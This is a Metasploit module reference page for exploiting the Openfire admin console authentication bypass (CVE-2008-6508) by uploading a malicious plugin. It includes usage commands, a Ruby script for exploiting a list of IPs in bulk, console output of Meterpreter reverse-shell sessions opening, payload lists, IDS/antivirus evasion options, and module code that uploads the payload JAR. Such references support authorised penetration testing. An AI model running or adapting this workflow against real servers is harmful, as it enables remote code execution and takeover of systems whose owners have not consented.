Openfire Admin Console Authentication Bypass - Metasploit
This page contains detailed information about how to use the exploit/multi/http/openfire_auth_bypass metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Openfire Admin Console Authentication Bypass
Module: exploit/multi/http/openfire_auth_bypass
Source code: modules/exploits/multi/http/openfire_auth_bypass.rb
Disclosure date: 2008-11-10
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Java, Linux, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888, 9090
List of CVEs: CVE-2008-6508
This module exploits an authentication bypass vulnerability in the administration console of Openfire servers. By using this vulnerability it is possible to upload/execute a malicious Openfire plugin on the server and execute arbitrary Java code. This module has been tested against Openfire 3.6.0a. It is possible to remove the uploaded plugin after execution, however this might turn the server in some kind of unstable state, making re-exploitation difficult. You might want to do this manually.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using openfire_auth_bypass against a single host
Normally, you can use exploit/multi/http/openfire_auth_bypass this way:
msf > use exploit/multi/http/openfire_auth_bypass
msf exploit(openfire_auth_bypass) > show targets
... a list of targets ...
msf exploit(openfire_auth_bypass) > set TARGET target-id
msf exploit(openfire_auth_bypass) > show options
... show and set options ...
msf exploit(openfire_auth_bypass) > exploit
Using openfire_auth_bypass against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your openfire_auth_bypass will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/openfire_auth_bypass")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
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Msfconsole Usage
Here is how the multi/http/openfire_auth_bypass exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/openfire_auth_bypass
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/openfire_auth_bypass) > show info
Name: Openfire Admin Console Authentication Bypass
Module: exploit/multi/http/openfire_auth_bypass
Platform: Java, Linux, Windows
Arch:
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2008-11-10
Provided by:
Andreas Kurtz
h0ng10
Available targets:
Id Name
-- ----
0 Java Universal
1 Windows x86 (Native Payload)
2 Linux x86 (Native Payload)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PLUGINAUTHOR no Openfire plugin author, (default: random)
PLUGINDESC no Openfire plugin description, (default: random)
PLUGINNAME no Openfire plugin base name, (default: random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_PLUGIN false no Try to remove the plugin after installation
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits an authentication bypass vulnerability in the
administration console of Openfire servers. By using this
vulnerability it is possible to upload/execute a malicious Openfire
plugin on the server and execute arbitrary Java code. This module
has been tested against Openfire 3.6.0a. It is possible to remove
the uploaded plugin after execution, however this might turn the
server in some kind of unstable state, making re-exploitation
difficult. You might want to do this manually.
References:
https://nvd.nist.gov/vuln/detail/CVE-2008-6508
OSVDB (49663)
http://www.securityfocus.com/bid/32189
https://www.exploit-db.com/exploits/7075
http://community.igniterealtime.org/thread/35874
Module Options
This is a complete list of options available in the multi/http/openfire_auth_bypass exploit:
msf6 exploit(multi/http/openfire_auth_bypass) > show options
Module options (exploit/multi/http/openfire_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
PLUGINAUTHOR no Openfire plugin author, (default: random)
PLUGINDESC no Openfire plugin description, (default: random)
PLUGINNAME no Openfire plugin base name, (default: random)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_PLUGIN false no Try to remove the plugin after installation
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 9090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the web application
VHOST no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
Advanced Options
Here is a complete list of advanced options supported by the multi/http/openfire_auth_bypass exploit:
msf6 exploit(multi/http/openfire_auth_bypass) > show advanced
Module advanced options (exploit/multi/http/openfire_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AESPassword no Password for encrypting communication
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
JavaMeterpreterDebug false no Run the payload in debug mode, with logging enabled
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
Spawn 2 yes Number of subprocesses to spawn
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/openfire_auth_bypass module can exploit:
msf6 exploit(multi/http/openfire_auth_bypass) > show targets
Exploit targets:
Id Name
-- ----
0 Java Universal
1 Windows x86 (Native Payload)
2 Linux x86 (Native Payload)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/openfire_auth_bypass exploit:
msf6 exploit(multi/http/openfire_auth_bypass) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/java/jsp_shell_bind_tcp normal No Java JSP Command Shell, Bind TCP Inline
4 payload/java/jsp_shell_reverse_tcp normal No Java JSP Command Shell, Reverse TCP Inline
5 payload/java/meterpreter/bind_tcp normal No Java Meterpreter, Java Bind TCP Stager
6 payload/java/meterpreter/reverse_http normal No Java Meterpreter, Java Reverse HTTP Stager
7 payload/java/meterpreter/reverse_https normal No Java Meterpreter, Java Reverse HTTPS Stager
8 payload/java/meterpreter/reverse_tcp normal No Java Meterpreter, Java Reverse TCP Stager
9 payload/java/shell/bind_tcp normal No Command Shell, Java Bind TCP Stager
10 payload/java/shell/reverse_tcp normal No Command Shell, Java Reverse TCP Stager
11 payload/java/shell_reverse_tcp normal No Java Command Shell, Reverse TCP Inline
12 payload/multi/meterpreter/reverse_http normal No Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
13 payload/multi/meterpreter/reverse_https normal No Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/openfire_auth_bypass exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/openfire_auth_bypass) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to make a request to: <PATH>
Here is a relevant code snippet related to the "Unable to make a request to: <PATH>" error message:
98: {
99: 'uri' => path
100: })
101:
102: if (not res) or (res.code != 200)
103: vprint_error("Unable to make a request to: #{path}")
104: return Exploit::CheckCode::Unknown
105: end
106:
107: versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
108:
Unable to detect Openfire version
Here is a relevant code snippet related to the "Unable to detect Openfire version" error message:
105: end
106:
107: versioncheck = res.body =~ /Openfire, \D*: (\d)\.(\d).(\d)\s*<\/div>/
108:
109: if versioncheck.nil? then
110: vprint_error("Unable to detect Openfire version")
111: return Exploit::CheckCode::Unknown
112: end
113:
114: vprint_status("Detected version: #{$1}.#{$2}.#{$3}")
115: version = "#{$1}#{$2}#{$3}".to_i
Failed: Error requesting <PATH>
Here is a relevant code snippet related to the "Failed: Error requesting <PATH>" error message:
122: {
123: 'uri' => path
124: })
125:
126: if (not res) or (res.code != 200)
127: print_error("Failed: Error requesting #{path}")
128: return Exploit::CheckCode::Unknown
129: end
130:
131: Exploit::CheckCode::Appears
132: end
Failed to regenerate payload
Here is a relevant code snippet related to the "Failed to regenerate payload" error message:
165:
166: arch = target.arch
167: plat = [Msf::Module::PlatformList.new(target['Platform']).platforms[0]]
168:
169: if (p = exploit_regenerate_payload(plat, arch)) == nil
170: print_error("Failed to regenerate payload")
171: return
172: end
173:
174: plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
175: plugin.build_manifest
Warning: got no response from the upload, continuing...
Here is a relevant code snippet related to the "Warning: got no response from the upload, continuing..." error message:
197: 'uploadplugin' => nil
198: }
199: })
200:
201:
202: print_warning("Warning: got no response from the upload, continuing...") if !res
203:
204: # Delete the uploaded JAR file
205: if datastore['REMOVE_PLUGIN']
206: print_status("Deleting plugin #{plugin_name} from the server")
207: res = send_request_cgi({
Error deleting the plugin <PLUGIN_NAME>. You might want to do this manually.
Here is a relevant code snippet related to the "Error deleting the plugin <PLUGIN_NAME>. You might want to do this manually." error message:
212: },
213: 'vars_get' => {
214: 'deleteplugin' => plugin_name.downcase
215: }
216: })
217: if not res
218: print_error("Error deleting the plugin #{plugin_name}. You might want to do this manually.")
219: end
220: end
221: end
222: end
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References
See Also
Check also the following modules related to this module:
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- exploit/multi/http/tomcat_jsp_upload_bypass
- exploit/osx/browser/osx_gatekeeper_bypass
- exploit/osx/local/sudo_password_bypass
- exploit/unix/misc/polycom_hdx_auth_bypass
- exploit/unix/webapp/wp_infinitewp_auth_bypass
- exploit/windows/local/applocker_bypass
- exploit/multi/http/getsimplecms_unauth_code_exec
- exploit/multi/http/manageengine_auth_upload
- exploit/multi/http/microfocus_obm_auth_rce
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/multi/http/oscommerce_installer_unauth_code_exec
- exploit/multi/http/qdpm_authenticated_rce
- exploit/multi/http/solarwinds_store_manager_auth_filter
- exploit/multi/http/sysaid_auth_file_upload
- exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload
- exploit/multi/http/wp_plugin_elementor_auth_upload_rce
- exploit/multi/http/october_upload_bypass_exec
- exploit/multi/misc/ibm_tm1_unauth_rce
- exploit/multi/veritas/beagent_sha_auth_rce
Related Nessus plugins:
- Openfire AuthCheck Authentication Bypass
- FreeBSD : openfire -- multiple vulnerabilities (937adf01-b64a-11dd-a55e-00163e000016)
- GLSA-200904-01 : Openfire: Multiple vulnerabilities
Authors
- Andreas Kurtz
- h0ng10
Version
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